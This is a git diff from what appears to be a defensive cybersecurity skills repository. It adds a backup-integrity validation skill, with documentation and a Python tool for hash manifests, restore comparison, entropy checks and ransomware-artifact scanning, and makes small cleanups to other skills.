datetime.now(timezone.utc).isoformat(), + "drill_type": "ransomware_recovery_validation", + "systems_tested": len(results), + "systems_meeting_rto": sum(1 for r in results if r.get("rto_met")), + "systems_meeting_rpo": sum(1 for r in results if r.get("rpo_met")), + "overall_pass": all( + r.get("rto_met") and r.get("rpo_met") for r in results + if r.get("rto_met") is not None + ), + "results": results, + } + + if output_path: + with open(output_path, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {output_path}") + + return report + + +def main(): + parser = argparse.ArgumentParser( + description="Ransomware Recovery Procedure Testing Agent" + ) + parser.add_argument("--config", help="JSON config file for recovery drill") + parser.add_argument("--hash-dir", help="Compute file hashes for a directory") + parser.add_argument("--compare", nargs=2, metavar=("ORIGINAL", "RESTORED"), + help="Compare two hash manifest JSON files") + parser.add_argument("--check-service", help="Check if a system service is running") + parser.add_argument("--check-db", help="Check database connectivity (type:host:port)") + parser.add_argument("--output", "-o", help="Output report file path") + args = parser.parse_args() + + print("[*] Ransomware Recovery Procedure Testing Agent") + + if args.hash_dir: + hashes = compute_file_hashes(args.hash_dir) + print(json.dumps(hashes, indent=2)) + if args.output: + with open(args.output, "w") as f: + json.dump(hashes, f, indent=2) + print(f"[*] Hash manifest saved to {args.output}") + return + + if args.compare: + with open(args.compare[0], "r") as f: + orig = json.load(f) + with open(args.compare[1], "r") as f: + restored = json.load(f) + result = compare_manifests(orig, restored) + print(json.dumps(result, indent=2)) + return + + if args.check_service: + result = check_service_health(args.check_service) + print(json.dumps(result, indent=2)) + return + + if args.check_db: + parts = args.check_db.split(":") + db_type = parts[0] + host = parts[1] if len(parts) > 1 else "localhost" + port = int(parts[2]) if len(parts) > 2 else None + result = check_database_connectivity(db_type, host, port) + print(json.dumps(result, indent=2)) + return + + if args.config: + with open(args.config, "r") as f: + config = json.load(f) + results = run_recovery_drill(config) + report = generate_report(results, args.output) + print(json.dumps(report, indent=2)) + return + + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/tracking-threat-actor-infrastructure/SKILL.md b/skills/tracking-threat-actor-infrastructure/SKILL.md index c06a5bcb..cef88838 100644 --- a/skills/tracking-threat-actor-infrastructure/SKILL.md +++ b/skills/tracking-threat-actor-infrastructure/SKILL.md @@ -39,7 +39,7 @@ Certificate Transparency (CT) logs publicly record all SSL/TLS certificates issu - **HTTP Headers**: Server banners, custom headers, response patterns - **Favicon Hash**: Hash of HTTP favicon for server identification -## Practical Steps +## Workflow ### Step 1: Shodan Infrastructure Discovery diff --git a/skills/triaging-security-alerts-in-splunk/scripts/agent.py b/skills/triaging-security-alerts-in-splunk/scripts/agent.py index 90a838d5..fa29e1e8 100644 --- a/skills/triaging-security-alerts-in-splunk/scripts/agent.py +++ b/skills/triaging-security-alerts-in-splunk/scripts/agent.py @@ -6,7 +6,7 @@ import splunklib.results as splunk_results import json import sys import argparse -from datetime import datetime, timedelta +from datetime import datetime def connect_splunk(host, port, username, password): diff --git a/skills/triaging-security-incident/scripts/agent.py b/skills/triaging-security-incident/scripts/agent.py index ff31094f..cd851103 100644 --- a/skills/triaging-security-incident/scripts/agent.py +++ b/skills/triaging-security-incident/scripts/agent.py @@ -3,9 +3,7 @@ import requests import json -import sys import argparse -import hashlib from datetime import datetime, timezone diff --git a/skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md b/skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md index 8595aa32..f8d7bbd6 100644 --- a/skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md +++ b/skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md @@ -67,7 +67,7 @@ Potential consequences for physical safety and public welfare: | **Attend** | Escalate to senior management, accelerate remediation | 14 days | | **Act** | Apply mitigations immediately, executive-level awareness | 48 hours | -## Implementation Steps +## Workflow ### Step 1: Ingest Vulnerability Data ```python diff --git a/skills/validating-backup-integrity-for-recovery/LICENSE b/skills/validating-backup-integrity-for-recovery/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/validating-backup-integrity-for-recovery/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/validating-backup-integrity-for-recovery/SKILL.md b/skills/validating-backup-integrity-for-recovery/SKILL.md new file mode 100644 index 00000000..60e82e3b --- /dev/null +++ b/skills/validating-backup-integrity-for-recovery/SKILL.md @@ -0,0 +1,171 @@ +--- +name: validating-backup-integrity-for-recovery +description: >- + Validate backup integrity through cryptographic hash verification, automated restore testing, + corruption detection, and recoverability checks to ensure backups are reliable for disaster + recovery and ransomware response scenarios. +domain: cybersecurity +subdomain: incident-response +tags: [incident-response, backup, integrity, hash-verification, restore-testing, disaster-recovery] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- +# Validating Backup Integrity for Recovery + +## When to Use + +Use this skill when: +- Verifying backup integrity before relying on backups for ransomware recovery +- Building automated backup validation pipelines that run after each backup job +- Auditing backup infrastructure to confirm recoverability for compliance (SOC 2, ISO 27001, NIST CSF RC.RP-03) +- Detecting silent data corruption (bit rot) in backup storage before a disaster occurs +- Validating that immutable or air-gapped backups have not been tampered with + +**Do not use** for initial backup configuration or scheduling. This skill focuses on post-backup validation. + +## Prerequisites + +- Access to backup storage (local, NAS, S3, Azure Blob, GCS) +- Python 3.9+ with `hashlib` (standard library) +- Backup manifests or baseline hash files for comparison +- Isolated restore environment for restore testing +- Backup tool CLI access (restic, borgbackup, rclone, or vendor-specific) + +## Workflow + +### Step 1: Generate Baseline Hash Manifest + +Create a cryptographic fingerprint of every file at backup time: + +```bash +# Generate SHA-256 manifest for a directory +find /data/production -type f -exec sha256sum {} \; > /manifests/prod_baseline_$(date +%Y%m%d).sha256 + +# Verify manifest format +head -5 /manifests/prod_baseline_20260319.sha256 +# e3b0c44298fc1c149afbf4c8996fb924... /data/production/config.yaml +# a7ffc6f8bf1ed76651c14756a061d662... /data/production/database.sql +``` + +### Step 2: Verify Backup Archive Integrity + +Check that the backup archive itself is not corrupted: + +```bash +# Restic: verify backup repository integrity +restic -r s3:s3.amazonaws.com/backup-bucket check --read-data + +# Borg: verify backup archive +borg check --verify-data /backup/repo::archive-2026-03-19 + +# Tar with gzip: verify archive integrity +gzip -t backup_20260319.tar.gz && echo "Archive OK" || echo "Archive CORRUPTED" + +# AWS S3: verify object checksums +aws s3api head-object --bucket backup-bucket --key daily/2026-03-19.tar.gz \ + --checksum-mode ENABLED +``` + +### Step 3: Perform Restore Test to Isolated Environment + +```bash +# Restore to isolated test directory +restic -r s3:s3.amazonaws.com/backup-bucket restore latest --target /restore-test/ + +# Generate hash manifest of restored data +find /restore-test -type f -exec sha256sum {} \; > /manifests/restored_$(date +%Y%m%d).sha256 + +# Compare baseline and restored manifests +diff <(sort /manifests/prod_baseline_20260319.sha256) \ + <(sort /manifests/restored_20260319.sha256) +``` + +### Step 4: Validate Data Completeness + +```bash +# Count files in original vs restored +echo "Original: $(find /data/production -type f | wc -l) files" +echo "Restored: $(find /restore-test -type f | wc -l) files" + +# Check total size +echo "Original: $(du -sh /data/production | cut -f1)" +echo "Restored: $(du -sh /restore-test | cut -f1)" + +# Database consistency check after restore +pg_restore --list backup.dump | wc -l # Count objects in dump +psql -c "SELECT schemaname, tablename FROM pg_tables WHERE schemaname='public';" restored_db +``` + +### Step 5: Detect Ransomware Artifacts in Backups + +Before trusting a backup for recovery, scan for ransomware indicators: + +```bash +# Check for common ransomware file extensions +find /restore-test -type f \( \ + -name "*.encrypted" -o -name "*.locked" -o -name "*.crypt" \ + -o -name "*.ransom" -o -name "*.pay" -o -name "*.wncry" \ + -o -name "*.cerber" -o -name "*.locky" -o -name "*.zepto" \ +\) -print + +# Check for ransom notes +find /restore-test -type f \( \ + -name "README_TO_DECRYPT*" -o -name "HOW_TO_RECOVER*" \ + -o -name "DECRYPT_INSTRUCTIONS*" -o -name "HELP_DECRYPT*" \ +\) -print + +# Check file entropy (high entropy = possible encryption) +# Files with entropy > 7.9 out of 8.0 are likely encrypted +python agent.py --entropy-scan /restore-test +``` + +### Step 6: Automate and Schedule Validation + +```yaml +# cron-based validation schedule +# Run nightly after backup window +0 4 * * * /opt/backup-validator/agent.py --validate-latest --notify-on-failure +# Weekly full restore test +0 6 * * 0 /opt/backup-validator/agent.py --full-restore-test --config /etc/backup-validator/config.json +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Hash Manifest** | File containing cryptographic hashes (SHA-256) for every file in a dataset, used as integrity baseline | +| **Bit Rot** | Gradual data corruption on storage media that silently alters file contents | +| **Immutable Backup** | Backup that cannot be modified or deleted for a defined retention period | +| **Restore Test** | Process of recovering data from backup to an isolated environment to verify recoverability | +| **File Entropy** | Measure of randomness in file contents; encrypted files have entropy near 8.0 bits/byte | +| **3-2-1 Rule** | Keep 3 copies of data, on 2 different media types, with 1 offsite copy | +| **Backup Chain** | Sequence of full and incremental backups that must all be intact for recovery | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| Restic | Encrypted, deduplicated backup with built-in integrity verification | +| BorgBackup | Deduplicating backup with archive verification | +| Rclone | Cloud storage sync with checksum verification | +| AWS S3 Object Lock | Immutable backup storage with WORM compliance | +| Azure Immutable Blob | Tamper-proof backup storage for compliance | +| sha256sum | Standard hash computation for file integrity | +| pg_restore | PostgreSQL backup validation and restore testing | + +## Common Pitfalls + +- **Never testing restores**: The most common failure mode. Backups that are never restored are untested assumptions. +- **Checking only archive integrity, not data integrity**: A valid tar.gz can contain corrupted file contents. Always hash individual files. +- **Trusting last backup without scanning for ransomware**: Backups may contain encrypted files if the infection predates the backup. +- **Ignoring incremental chain integrity**: A single corrupted incremental backup can break the entire restore chain. +- **No alerting on validation failures**: Backup validation must be monitored with alerts, not just logged silently. +- **Using MD5 for integrity**: MD5 is cryptographically broken. Use SHA-256 or SHA-3 for integrity verification. + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- NIST CSF 2.0 RC.RP-03: Backup Integrity Verification +- CIS Controls v8: Control 11 - Data Recovery +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware diff --git a/skills/validating-backup-integrity-for-recovery/references/api-reference.md b/skills/validating-backup-integrity-for-recovery/references/api-reference.md new file mode 100644 index 00000000..07fe9a53 --- /dev/null +++ b/skills/validating-backup-integrity-for-recovery/references/api-reference.md @@ -0,0 +1,160 @@ +# API Reference: Validating Backup Integrity for Recovery + +## CLI Usage + +```bash +# Generate SHA-256 hash manifest for a directory +python agent.py --generate-manifest /data/production -o manifest.json + +# Generate manifest with SHA-512 +python agent.py --generate-manifest /data/production --algorithm sha512 -o manifest.json + +# Compare baseline vs restored manifest +python agent.py --compare baseline_manifest.json restored_manifest.json + +# Run full backup validation suite +python agent.py --validate /restore-test --baseline baseline_manifest.json -o report.json + +# Scan for ransomware artifacts in restored data +python agent.py --ransomware-scan /restore-test + +# Scan for high-entropy (possibly encrypted) files +python agent.py --entropy-scan /restore-test --entropy-threshold 7.9 +``` + +## Hash Algorithms Supported + +| Algorithm | Digest Size | Use Case | +|-----------|-------------|----------| +| sha256 | 256 bits | Default; standard integrity verification | +| sha512 | 512 bits | Higher security; larger files | +| sha3_256 | 256 bits | NIST post-quantum recommendation | +| blake2b | 512 bits | Faster alternative; high performance | + +## Manifest Format + +```json +{ + "directory": "/data/production", + "algorithm": "sha256", + "generated_at": "2026-03-19T04:00:00+00:00", + "total_files": 1523, + "errors": 0, + "hashes": { + "config/app.yaml": "a3f2b8c9d1e4f5a6...", + "data/users.db": "1b2c3d4e5f6a7b8c...", + "logs/access.log": "ERROR:Permission denied" + } +} +``` + +## Comparison Result Format + +```json +{ + "baseline_files": 1523, + "restored_files": 1520, + "missing_files": ["logs/audit.log", "tmp/cache.db", "data/session.bin"], + "missing_count": 3, + "modified_files": [ + { + "file": "config/app.yaml", + "baseline": "a3f2b8c9...", + "restored": "7e8f9a0b..." + } + ], + "modified_count": 1, + "added_files": [], + "added_count": 0, + "integrity_pass": false +} +``` + +## Entropy Scan Output + +```json +{ + "directory": "/restore-test", + "threshold": 7.9, + "files_scanned": 1200, + "suspicious_count": 3, + "suspicious_files": [ + { + "file": "data/report.docx.encrypted", + "entropy": 7.98, + "size_bytes": 524288 + } + ] +} +``` + +## Entropy Reference Values + +| Entropy Range | Interpretation | +|--------------|----------------| +| 0.0 - 1.0 | Highly repetitive data (empty files, padding) | +| 1.0 - 5.0 | Structured text (config files, logs, source code) | +| 5.0 - 7.0 | Binary data (executables, images, databases) | +| 7.0 - 7.8 | Compressed data (zip, gzip, jpg) | +| 7.8 - 8.0 | Encrypted or fully random data (ransomware indicator) | + +## Ransomware Scan Output + +```json +{ + "ransomware_extensions": [ + "documents/report.docx.locked", + "data/backup.sql.encrypted" + ], + "ransom_notes": [ + "HOW_TO_RECOVER_YOUR_FILES.txt" + ], + "total_scanned": 1523, + "clean": false +} +``` + +## Known Ransomware Extensions Detected + +`.encrypted`, `.locked`, `.crypt`, `.ransom`, `.pay`, `.wncry`, `.wcry`, +`.cerber`, `.locky`, `.zepto`, `.osiris`, `.aesir`, `.thor`, `.odin`, +`.crypz`, `.crypted`, `.enc`, `.crypto`, `.lockbit` + +## Full Validation Report Schema + +```json +{ + "timestamp": "2026-03-19T04:30:00+00:00", + "directory": "/restore-test", + "checks": { + "file_stats": { + "total_files": 1523, + "total_size_bytes": 1073741824, + "total_size_mb": 1024.0, + "pass": true + }, + "integrity": { + "integrity_pass": true, + "missing_count": 0, + "modified_count": 0 + }, + "ransomware_scan": { + "clean": true, + "total_scanned": 1523 + }, + "entropy_scan": { + "files_scanned": 1200, + "suspicious_count": 0 + } + }, + "overall_pass": true +} +``` + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- NIST CSF 2.0 RC.RP-03: Backup Integrity Verification +- CIS Controls v8: Control 11 - Data Recovery +- Restic Documentation: https://restic.readthedocs.io/en/stable/045_working_with_repos.html +- BorgBackup Verification: https://borgbackup.readthedocs.io/en/stable/usage/check.html diff --git a/skills/validating-backup-integrity-for-recovery/scripts/agent.py b/skills/validating-backup-integrity-for-recovery/scripts/agent.py new file mode 100644 index 00000000..ace49f90 --- /dev/null +++ b/skills/validating-backup-integrity-for-recovery/scripts/agent.py @@ -0,0 +1,323 @@ +#!/usr/bin/env python3 +"""Agent for validating backup integrity for disaster recovery. + +Computes cryptographic hashes, compares manifests, detects corruption, +scans for ransomware artifacts, measures file entropy, and validates +backup recoverability. +""" + +import argparse +import hashlib +import json +import math +import os +from collections import Counter +from datetime import datetime, timezone +from pathlib import Path + + +RANSOMWARE_EXTENSIONS = { + ".encrypted", ".locked", ".crypt", ".ransom", ".pay", + ".wncry", ".wcry", ".cerber", ".locky", ".zepto", + ".osiris", ".aesir", ".thor", ".odin", ".crypz", + ".crypted", ".enc", ".crypto", ".lockbit", +} + +RANSOM_NOTE_PATTERNS = [ + "README_TO_DECRYPT", "HOW_TO_RECOVER", "DECRYPT_INSTRUCTIONS", + "HELP_DECRYPT", "RECOVERY_INSTRUCTIONS", "RESTORE_FILES", + "READ_ME_TO_DECRYPT", "YOUR_FILES_ARE_ENCRYPTED", + "!README!", "DECRYPT_YOUR_FILES", +] + + +def compute_file_hash(filepath, algorithm="sha256"): + """Compute cryptographic hash of a single file.""" + h = hashlib.new(algorithm) + try: + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + h.update(chunk) + return h.hexdigest() + except (PermissionError, OSError) as e: + return f"ERROR:{e}" + + +def generate_manifest(directory, algorithm="sha256"): + """Generate hash manifest for all files in a directory.""" + manifest = {} + dir_path = Path(directory) + if not dir_path.is_dir(): + return {"error": f"Directory not found: {directory}"} + + total = 0 + errors = 0 + for fpath in sorted(dir_path.rglob("*")): + if fpath.is_file(): + total += 1 + digest = compute_file_hash(str(fpath), algorithm) + rel = str(fpath.relative_to(dir_path)) + manifest[rel] = digest + if digest.startswith("ERROR:"): + errors += 1 + + return { + "directory": str(directory), + "algorithm": algorithm, + "generated_at": datetime.now(timezone.utc).isoformat(), + "total_files": total, + "errors": errors, + "hashes": manifest, + } + + +def compare_manifests(baseline_path, restored_path): + """Compare two manifest files to detect integrity issues.""" + with open(baseline_path, "r") as f: + baseline = json.load(f) + with open(restored_path, "r") as f: + restored = json.load(f) + + base_hashes = baseline.get("hashes", baseline) + rest_hashes = restored.get("hashes", restored) + + missing = [] + modified = [] + added = [] + + for fname, base_hash in base_hashes.items(): + if fname not in rest_hashes: + missing.append(fname) + elif rest_hashes[fname] != base_hash: + modified.append({"file": fname, "baseline": base_hash, + "restored": rest_hashes[fname]}) + + for fname in rest_hashes: + if fname not in base_hashes: + added.append(fname) + + integrity_pass = len(missing) == 0 and len(modified) == 0 + return { + "baseline_files": len(base_hashes), + "restored_files": len(rest_hashes), + "missing_files": missing, + "missing_count": len(missing), + "modified_files": modified, + "modified_count": len(modified), + "added_files": added, + "added_count": len(added), + "integrity_pass": integrity_pass, + } + + +def calculate_entropy(filepath): + """Calculate Shannon entropy of a file (0-8 bits per byte).""" + try: + with open(filepath, "rb") as f: + data = f.read() + except (PermissionError, OSError): + return None + + if not data: + return 0.0 + + byte_counts = Counter(data) + length = len(data) + entropy = 0.0 + for count in byte_counts.values(): + p = count / length + if p > 0: + entropy -= p * math.log2(p) + return round(entropy, 4) + + +def entropy_scan(directory, threshold=7.9): + """Scan directory for files with suspiciously high entropy (possible encryption).""" + suspicious = [] + scanned = 0 + dir_path = Path(directory) + + for fpath in dir_path.rglob("*"): + if not fpath.is_file(): + continue + if fpath.stat().st_size < 1024: + continue + scanned += 1 + ent = calculate_entropy(str(fpath)) + if ent is not None and ent >= threshold: + suspicious.append({ + "file": str(fpath.relative_to(dir_path)), + "entropy": ent, + "size_bytes": fpath.stat().st_size, + }) + + return { + "directory": str(directory), + "threshold": threshold, + "files_scanned": scanned, + "suspicious_count": len(suspicious), + "suspicious_files": suspicious[:100], + } + + +def scan_ransomware_artifacts(directory): + """Scan restored backup for ransomware indicators.""" + findings = { + "ransomware_extensions": [], + "ransom_notes": [], + "total_scanned": 0, + } + dir_path = Path(directory) + + for fpath in dir_path.rglob("*"): + if not fpath.is_file(): + continue + findings["total_scanned"] += 1 + + if fpath.suffix.lower() in RANSOMWARE_EXTENSIONS: + findings["ransomware_extensions"].append( + str(fpath.relative_to(dir_path)) + ) + + for pattern in RANSOM_NOTE_PATTERNS: + if pattern.lower() in fpath.name.lower(): + findings["ransom_notes"].append( + str(fpath.relative_to(dir_path)) + ) + break + + findings["clean"] = ( + len(findings["ransomware_extensions"]) == 0 + and len(findings["ransom_notes"]) == 0 + ) + return findings + + +def validate_backup(directory, baseline_manifest=None, check_ransomware=True, + check_entropy=True, entropy_threshold=7.9): + """Run full backup validation suite.""" + results = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "directory": str(directory), + "checks": {}, + } + + # File count and size + dir_path = Path(directory) + if not dir_path.is_dir(): + return {"error": f"Directory not found: {directory}"} + + total_files = sum(1 for _ in dir_path.rglob("*") if _.is_file()) + total_size = sum(f.stat().st_size for f in dir_path.rglob("*") if f.is_file()) + results["checks"]["file_stats"] = { + "total_files": total_files, + "total_size_bytes": total_size, + "total_size_mb": round(total_size / (1024 * 1024), 2), + "pass": total_files > 0, + } + + # Manifest comparison + if baseline_manifest and os.path.isfile(baseline_manifest): + current = generate_manifest(directory) + current_path = str(dir_path / ".current_manifest.json") + with open(current_path, "w") as f: + json.dump(current, f) + comparison = compare_manifests(baseline_manifest, current_path) + results["checks"]["integrity"] = comparison + os.remove(current_path) + else: + results["checks"]["integrity"] = {"skipped": True, + "reason": "No baseline manifest provided"} + + # Ransomware artifact scan + if check_ransomware: + results["checks"]["ransomware_scan"] = scan_ransomware_artifacts(directory) + + # Entropy scan + if check_entropy: + results["checks"]["entropy_scan"] = entropy_scan(directory, entropy_threshold) + + # Overall verdict + checks = results["checks"] + results["overall_pass"] = ( + checks.get("file_stats", {}).get("pass", False) + and checks.get("integrity", {}).get("integrity_pass", True) + and checks.get("ransomware_scan", {}).get("clean", True) + and checks.get("entropy_scan", {}).get("suspicious_count", 0) == 0 + ) + + return results + + +def main(): + parser = argparse.ArgumentParser( + description="Backup Integrity Validation Agent" + ) + parser.add_argument("--generate-manifest", + help="Generate hash manifest for a directory") + parser.add_argument("--compare", nargs=2, metavar=("BASELINE", "RESTORED"), + help="Compare two manifest JSON files") + parser.add_argument("--validate", help="Run full validation on a backup directory") + parser.add_argument("--baseline", help="Baseline manifest for comparison") + parser.add_argument("--entropy-scan", help="Scan directory for high-entropy files") + parser.add_argument("--entropy-threshold", type=float, default=7.9, + help="Entropy threshold (default: 7.9)") + parser.add_argument("--ransomware-scan", + help="Scan directory for ransomware artifacts") + parser.add_argument("--algorithm", default="sha256", + choices=["sha256", "sha512", "sha3_256", "blake2b"], + help="Hash algorithm (default: sha256)") + parser.add_argument("--output", "-o", help="Output file path") + args = parser.parse_args() + + print("[*] Backup Integrity Validation Agent") + result = None + + if args.generate_manifest: + result = generate_manifest(args.generate_manifest, args.algorithm) + print(f"[*] Generated manifest: {result.get('total_files', 0)} files") + + elif args.compare: + result = compare_manifests(args.compare[0], args.compare[1]) + status = "PASS" if result["integrity_pass"] else "FAIL" + print(f"[*] Integrity check: {status}") + if result["missing_count"]: + print(f"[!] Missing files: {result['missing_count']}") + if result["modified_count"]: + print(f"[!] Modified files: {result['modified_count']}") + + elif args.validate: + result = validate_backup( + args.validate, + baseline_manifest=args.baseline, + entropy_threshold=args.entropy_threshold, + ) + status = "PASS" if result.get("overall_pass") else "FAIL" + print(f"[*] Overall validation: {status}") + + elif args.entropy_scan: + result = entropy_scan(args.entropy_scan, args.entropy_threshold) + print(f"[*] Scanned {result['files_scanned']} files, " + f"{result['suspicious_count']} suspicious") + + elif args.ransomware_scan: + result = scan_ransomware_artifacts(args.ransomware_scan) + status = "CLEAN" if result["clean"] else "INFECTED" + print(f"[*] Ransomware scan: {status}") + + else: + parser.print_help() + return + + if result: + output = json.dumps(result, indent=2) + if args.output: + with open(args.output, "w") as f: + f.write(output) + print(f"[*] Results saved to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main()